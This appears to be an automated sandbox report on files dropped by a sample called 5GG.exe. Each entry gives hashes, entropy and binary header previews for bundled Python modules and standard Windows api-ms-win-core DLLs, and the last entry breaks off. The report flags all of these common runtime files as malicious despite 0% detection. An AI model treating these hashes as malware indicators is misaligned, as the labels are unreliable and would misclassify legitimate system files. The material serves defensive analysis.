C:\Users\user\AppData\Local\Temp\_MEI73402\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30632
Entropy (8bit):	6.41055734058478
Encrypted:	false
SSDEEP:	768:lez/Dt36r34krA4eVIS7UAYiSyvAEYeEdSiD:leDE34krA4eVIS7UA7Sy9YLD
MD5:	23F4BECF6A1DF36AEE468BB0949AC2BC
SHA1:	A0E027D79A281981F97343F2D0E7322B9FE9B441
SHA-256:	09C5FAF270FD63BDE6C45CC53B05160262C7CA47D4C37825ED3E15D479DAEE66
SHA-512:	3EE5B3B7583BE1408C0E1E1C885512445A7E47A69FF874508E8F0A00A66A40A0E828CE33E6F30DDC3AC518D69E4BB96C8B36011FB4EDEDF9A9630EF98A14893B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.~Zb...b...b...k..`.......`.......n.......j.......a.......a.......`...b...+.......c.......c.......c.......c...Richb...........................PE..d....K.b.........." ... .....8.......................................................F....`..........................................C..L....C..d....p.......`.......N...)..........`4..T........................... 3..@............0..(............................text............................... ..`.rdata..2....0......................@..@.data...x....P.......:..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc...............L..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	77736
Entropy (8bit):	6.247935524153974
Encrypted:	false
SSDEEP:	1536:C6DucXZAuj19/s+S+pjtk/DDTaVISQwn7SyML:C6DPXSuj19/sT+ppk/XWVISQwneL
MD5:	E137DF498C120D6AC64EA1281BCAB600
SHA1:	B515E09868E9023D43991A05C113B2B662183CFE
SHA-256:	8046BF64E463D5AA38D13525891156131CF997C2E6CDF47527BC352F00F5C90A
SHA-512:	CC2772D282B81873AA7C5CBA5939D232CCEB6BE0908B211EDB18C25A17CBDB5072F102C0D6B7BC9B6B2F1F787B56AB1BC9BE731BB9E98885C17E26A09C2BEB90
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...ry..ry..ry..{.g.ty......py.......y......zy......qy......py..ry...y......uy......sy......sy......sy......sy..Richry..................PE..d....K.b.........." ... .l.......... &.......................................P.......Q....`.............................................P...P........0....... ..l........)...@.........T...............................@............................................text...Rj.......l.................. ..`.rdata...s.......t...p..............@..@.data...............................@....pdata..l.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	159144
Entropy (8bit):	6.002098953253968
Encrypted:	false
SSDEEP:	3072:UhIDGtzShE3z/JHPUE0uev5J2oE/wu3rE923+nuI5Piev9muxISt710Y:UhIqtzShE3zhvyue5EMnuaF9mu3
MD5:	35F66AD429CD636BCAD858238C596828
SHA1:	AD4534A266F77A9CDCE7B97818531CE20364CB65
SHA-256:	58B772B53BFE898513C0EB264AE4FA47ED3D8F256BC8F70202356D20F9ECB6DC
SHA-512:	1CCA8E6C3A21A8B05CC7518BD62C4E3F57937910F2A310E00F13F60F6A94728EF2004A2F4A3D133755139C3A45B252E6DB76987B6B78BC8269A21AD5890356AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dI...'L..'L..'L.}.L..'L..&M..'L.."M..'L..#M..'L..$M..'L..&M..'Lz\|&M..'L..&Lt.'L)w&M..'L..M..'L..'M..'L...L..'L..%M..'LRich..'L................PE..d....K.b.........." ... ............l...................................................`............................................d...4........`.......P.......D...)...p..<.......T...............................@............................................text...x........................... ..`.rdata..J...........................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..<....p.......6..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_tkinter.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64936
Entropy (8bit):	6.207598288180554
Encrypted:	false
SSDEEP:	1536:JM6zciVl77hMk81C/LCYrzpIS5S07SyVK:JHzcxkp/LCYrzpIS5S0bK
MD5:	56D3851235509F24D0EFDDBC4723E06E
SHA1:	F9DD247525F2CEB8CE8CE60D3DB0F439AF9ECEC5
SHA-256:	6C0F81A098529D6965602FA2984EB38DE7EF633CB00DAF05D583A2F7D38C2CB1
SHA-512:	F6A688F0CF74C77CF26AAC0DF2A986E11779B166C4B45B226388C8FE476985CB47525715D20244C09AD47CA87AFCEE83705D2DCFE241FDCF3868EB9CAAE3D736
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................................................n...........................u...........Rich...................PE..d....K.b.........." ... .l...j............................................................`............................................P...0...................,........)......(.......T...............................@............................................text....k.......l.................. ..`.rdata..$B.......D...p..............@..@.data...............................@....pdata..,...........................@..@.rsrc...............................@..@.reloc..(...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.020833939779392
Encrypted:	false
SSDEEP:	192:AaW1hWtiUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHBylayRDqOUO6Jw:3W1hWtiU8JIYiaHZ8ZpH3GCJEpyvjU0
MD5:	F4678A746EE38334F65ABE420062BFAA
SHA1:	AFB6DADECB7BB48A83A317393DD6270C9744F657
SHA-256:	77B0DF8AB1BEB56C5CB2C21A27416219C77F8FF1D58E07F1420843C2E3BEB2E9
SHA-512:	EF89AB8CD4F704EE5A193840ECB12AE8A0906B22AE24530E2E874361F50C0844D20FCBC480F892ECD1E5EF32B996CB6A22EE62184477CB67355110BDFFD9F498
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d................." .........................................................0...........`.........................................`...,............ ...................)..............T............................................................................rdata..,...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.031891705343152
Encrypted:	false
SSDEEP:	384:pW1hWaU8JIYiaHZ8ZpH3GCJEoy5TwVT3v:44YiQZiRBEo4+Tv
MD5:	84398CB4FA206939E4E0FBC186954776
SHA1:	2ACC174E2824B0C41D55071A7F86418B829560BE
SHA-256:	853C4D3DA01987406FE31553373E21F84EDBE617E47AB4930F7EADB67F761462
SHA-512:	DC60B2D32D3DBA849CE786DC97A945C778B4581EEDB09C5611ABC04B021709AFAA5DA3916BCC30FDA3FB2E6CF15DDCDF352AE06AC161F4A3D5F3097E2476CB46
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d....F.L.........." .........................................................0............`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.034623021834288
Encrypted:	false
SSDEEP:	384:GW1hWyU8JIYiaHZ8ZpH3GCJEfy5YStJsP:9YYiQZiRBEfDDP
MD5:	D652FF68C59F974201BBAD6EB0353AE4
SHA1:	2D9603F72665F5A27BA7722A39469628B80EEEF9
SHA-256:	849A7C073A986C470AC0A7C4AD25C243C276C65CEE010830B3B061599F7FBF9C
SHA-512:	A5F32EC808A5957EF2CD28C6E786B0BBEC1C8D87CAB204F23526B4C5A304C0A801C6145FA46E1B79C6CF1BC1215D5F6FC0386B6E563E9715B76AE58FD5A3D8B6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d....C............" .........................................................0............`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.084892525345506
Encrypted:	false
SSDEEP:	384:kBLW1hWHU8JIYiaHZ8ZpH3GCJEpOxyFWxtP:kBOrYiQZiRBEm5tP
MD5:	C6664A7796AEAEF78D34D70E1BB58242
SHA1:	357BD97B4709546B7B5945D7457E916BE0CA41C2
SHA-256:	5DE66EB61D87E0CB7CB98CE23EFD716B33B4EEEE6EC6643EEEBA8E6620D0EF10
SHA-512:	E4119C978BD35B4844F097920783DE018483D2BC2DF6D616A576C627DCF73052B54A275B7E8305FB6F0F03AC29428060E869E82176FF9B356CE8717D5DB7EAF0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d.....Z..........." .........................................................0............`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17288
Entropy (8bit):	6.922639980825236
Encrypted:	false
SSDEEP:	384:wBPvVXcW1hW0OU8JIYiaHZ8ZpH3GCJEkydLFeh:sPvVX/xxYiQZiRBEkGeh
MD5:	EEFCB4A90A0F0C16E98E135CD0B8CFAB
SHA1:	6D4F26D58CDF5951AF78D78F35C12CF57EAF146C
SHA-256:	562C2BD5CC8F1F0D9EE0D74F8B299538417216178BCE51876BCEDF95D510D33A
SHA-512:	59C5D8D08B3B96A32A0EC84A56C4334A59E6088CF92EB9BD175721E0615C18D2929435D5E4430775EFF909AC13E6BEC69973A3125EAE62510155495B186391A9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d....Q............" .........................................................@............`.........................................`................0...................)..............T............................................................................rdata..............................@..@.rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.0519276183991
Encrypted:	false
SSDEEP:	192:UXW1hWnUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHpyRNNf5Ugr:4W1hWnU8JIYiaHZ8ZpH3GCJEhyFRU8
MD5:	FB4DBB2F9CE4EEE098149EE4C667F74F
SHA1:	4E0215A9EB51517D65735AC84D9815BC0A18758E
SHA-256:	BF716016777A306AE35A1C7DEC592B7B9A603320CB0A69764AC34A7B00D75AD2
SHA-512:	059247ADF3545E3AEE5B9AF418D260521A405FC414AE96CAA7B2AB3C37965C5A634554B7CF20DA0264A3E53054F3879832905292F688F61E12390E4FEA2125D9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...,,.W.........." .........................................................0......AV....`.........................................`...L............ ...................)..............T............................................................................rdata..H...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.143715196517644
Encrypted:	false
SSDEEP:	384:iVrW1hWpU8JIYiaHZ8ZpH3GCJE7yROoIE:iVuZYiQZiRBE7vE
MD5:	451D756BACEE4885AE059E466779B097
SHA1:	B2226A31B49C18A545679E51BA3EFD9E8D537166
SHA-256:	728CC9C30BFA035E1F17EBEDE9F42437BF75807CAFC088834F49DF05D47F8651
SHA-512:	30309B52478D51D2014A1E7B3395A916C732C2F6A2F01A5E53B04513740ED74B7FDDEA8D0354C725DB94CABE36B2C83EB3600411CC1732A6AD0B016AEE6A76D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...4.F>.........." .........................................................0......M.....`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.054105548671917
Encrypted:	false
SSDEEP:	192:5W1hWoCUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHxybX+Byeg:5W1hWoCU8JIYiaHZ8ZpH3GCJEpyb0yf
MD5:	C7F733D2DD69188D018F6491D30C56AA
SHA1:	E5CA0D0FC0D6E04FB73BE991A2EE7A6CD4B259F6
SHA-256:	D7FBFDA276687A6D60D1FEDFF8A4B6C4F62428E7939F08C3AD83C91A8E63A019
SHA-512:	9912AE19CDE27B2A6229CC1AA49DA36ABED14956EAEF4D5C6DF1AE6103D4DF1579BC1323BB1B3F5C452A11FFF21AB0E0D2DD41BA55082999C878E3EBBC1A2629
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d.....QN.........." .........................................................0......N.....`.........................................`...`............ ...................)..............T............................................................................rdata..`...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.005134338023468
Encrypted:	false
SSDEEP:	384:6lgW1hWPU8JIYiaHZ8ZpH3GCJEIyecs4hH4:yTYiQZiRBEIpX
MD5:	24DC4BBBC3B4903DBE54E6ADE18F67F0
SHA1:	75FEBA867CD2CD587DFF19F779A06A975B59EF05
SHA-256:	1FFA497730822BDB9948C93841BB3CDD2A62D4FDFC22BFD7BA19EC6607A7A656
SHA-512:	BD9D4CDAE6A2ED3B6527AE54EDF714C14ACAA7FAE459A38C511436F98FA4F4F0355462C8ACF82DB7A2B412757D3E10A35F13A56B950402D5281597F28A3E4847
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...T.*..........." .........................................................0......F.....`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.069883387106441
Encrypted:	false
SSDEEP:	192:aW1hWMUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHWyJtHTX7C:aW1hWMU8JIYiaHZ8ZpH3GCJE+yTzrC
MD5:	0F337F733CB2BAE82F3555E03E541BF2
SHA1:	F7A7DFA027547582F42751245420FAD226FCB797
SHA-256:	E0408540A51A5CBD612F243218204623EE8133316FA4B9191D083954CBFD9F6B
SHA-512:	CB992492B2116AFB570C0D058903AE4C398900050E23A0A306973ADDCC335A55D9265ED2D41B0724B78E724F4405EBE8E6CF0A7DA4D9B73DED9A3B77AF3D53A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...3Qb..........." .........................................................0............`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14728
Entropy (8bit):	7.002668645947056
Encrypted:	false
SSDEEP:	384:lvuBL3BYW1hW+U8JIYiaHZ8ZpH3GCJEsytFA:sBL3BTMYiQZiRBEsIA
MD5:	571D82083FD20B673BD001A7A4D5CD5A
SHA1:	D4888386BD592A2B7A25D3FE35A8F4AED97C4B77
SHA-256:	7511764DC5D5A86B4198E8F26532A03DE5981DEB7AF858DCB79F632C7D64CEED
SHA-512:	0B3AF9C74DDE3F48D2461488ACAEA2C5964685635E502373AC8D7D16B5BE731459125FB305D2B446CD3C648D3ECD086FDBC9495FA8A94DEE3E635EB81221EDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...:............." .........................................................0............`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16264
Entropy (8bit):	7.0321139738388645
Encrypted:	false
SSDEEP:	384:AOMw3zdp3bwjGjue9/0jCRrndb6kW1hWsU8JIYiaHZ8ZpH3GCJECyicWmwnJ:AOMwBprwjGjue9/0jCRrndb0uYiQZiRB
MD5:	BD6C6F6688E74CF02107EA494458D1B2
SHA1:	99AA195B3CD8AB4D75E71DB3617D93DE141204A3
SHA-256:	4C71905519CDC523972BA7EFECB8671B526069A295E1B5BA75C754CD36DE5455
SHA-512:	75C22D689962833B2052DE1EC9D58B947C0C2956A3B618EA3F1893010CDC7DBA8ACEC5EEB063E15B526E75E23D333AA7F0C7A181F0DE78220AC4E7A8531DA698
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d.....=X.........." .........................................................0............`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.040449439531874
Encrypted:	false
SSDEEP:	384:38W1hWjU8JIYiaHZ8ZpH3GCJEUygDBpDt:vLYiQZiRBEUBt
MD5:	28EF120FE8E49558440CAA07E8BC275F
SHA1:	BE0FAB23B79D68B7D8144CB546F6F8B1C7ABB2B2
SHA-256:	5D9C8C07BB0A6E88BC12A9DD02D2D3DBC27143F12B95BEBBBFF855E393989D89
SHA-512:	E41672F293EC83B0CB3D4885B17E8520E0E638A5CF4CA588A33F15731A6BBCEAB0EE91602CB1749633453E67CA349B695374203A131BD19CB2B417E869BD2219
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d....`Z.........." .........................................................0............`.........................................`...l............ ...................)..............T............................................................................rdata..l...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.1403897657691475
Encrypted:	false
SSDEEP:	192:IW1hWsUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHQyRrmGNgh8/:IW1hWsU8JIYiaHZ8ZpH3GCJEIyRSN8/
MD5:	46A9F582024AFB5BD924C16A6D467FC0
SHA1:	37498815A6DBAD2435E60BFAA8BD85982C85CBBF
SHA-256:	2A581688BFBF1A5ED515BA19060B5F7FCC3A82B14074E0AF82FC46DA50F307B7
SHA-512:	D20879967809BA6ACC7DEEDBD9A8C5AF8AFAF6CAB2364E5AB651829E012CFE3B1422DFAEE9AD96D118015B9D52EFFA81113CFBA82A3B0D50AEC318CAAE4BF350
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...h..&.........." .........................................................0......\|.....`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14728
Entropy (8bit):	7.007166187461468
Encrypted:	false
SSDEEP:	384:qZnW1hW8U8JIYiaHZ8ZpH3GCJEyy6XcEH:XqYiQZiRBEySEH
MD5:	35594DD120075322695B52A55C3790C0
SHA1:	501E301833750C119AAE26C30203D552DCB15AE5
SHA-256:	2D7B548AA52FC2AB1E1B5011ADB3B422673BC3618C926C8FABF8A9DD36B9C1F8
SHA-512:	FD6F5DE74F6DE3FE6F940837C591D1A8A4FADB71F155814B086112D0DD177763D1B6EAA0F5AA10AF080650B11DFE7357B199629447452FECA1EC6D19AEE3B8AF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...+;P..........." .........................................................0.......}....`.........................................`...H............ ...................)..............T............................................................................rdata..T...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15752
Entropy (8bit):	7.04156155321403
Encrypted:	false
SSDEEP:	384:IWXk1JzNcKSIXW1hWWU8JIYiaHZ8ZpH3GCJE/ync6:IbcKSbcYiQZiRBE/K
MD5:	D354321AA3F1B10E86B1E107403D39A3
SHA1:	DD4E3ABC4ACC521D6CD479F0F59AF249024D0C6D
SHA-256:	A8F97D04973CAF36D89873F05E3372794A9899503EF233C9BAEA698A579B9B78
SHA-512:	35B462621369F4FE5390214454F21547AFD6D91CE06055CB7675755150C2DA624FAE2F5AC53CE5CAEF68E6D814E81F2191EF1EC963FDD157AC03017FDE41DE27
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...m..c.........." .........................................................0......W.....`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.067088341670931
Encrypted:	false
SSDEEP:	384:EtgDfIeFrW1hWvU8JIYiaHZ8ZpH3GCJEiyyj:EpeFuzYiQZiRBEiV
MD5:	19DAB566B2170A204FA83ED397FEEF4E
SHA1:	AFEEF985FCA7CDDD7A5E827DDEF1C8AA044391FC
SHA-256:	A056EA757DD9FC8682EF24DA36BDF3A9B9B9714F856EE25960D40B882797B458
SHA-512:	2DFDF9B7158E8EB3D9A70EEA78F61DE751B2A64CEA03E25BCE83F344CD4645829F7226ED406C8128E263D519C7F31B218AE3170C42870E748F1DD4BFA0F4CE22
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d................." .........................................................0.......s....`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13192
Entropy (8bit):	7.1818116697541985
Encrypted:	false
SSDEEP:	192:Y4VW1hWtUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHMyJjhO22Sf:YyW1hWtU8JIYiaHZ8ZpH3GCJEUy5J
MD5:	AD98016FD6EF33C6BBA7625267234881
SHA1:	A5B8E0B4E86315D74AEDDFD330FAD3CD5B4929A5
SHA-256:	5B736499BF18239507C8FD9C3324F7D833D02B45A6A4A0D91BA2D77C6CB0FCC4
SHA-512:	586A02EB82AAC0527F36A753D606C59B2BB50EF6E85A5355BD08882ABF5A95E7D64C8AC1868C8AF24CC56CBEB6E75BBE68F249572FE112108E0C5AC77932F3E3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...kl^w.........." .........................................................0............`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.01473356623485
Encrypted:	false
SSDEEP:	384:OGeVWW1hWqU8JIYiaHZ8ZpH3GCJEJycQdvIfy:OGeVtYYiQZiRBEJSwfy
MD5:	5FC4F6E6056C58F42848B06B9CC53A39
SHA1:	90425A4AEEBE69DF67B2275807EEC31C5240778D
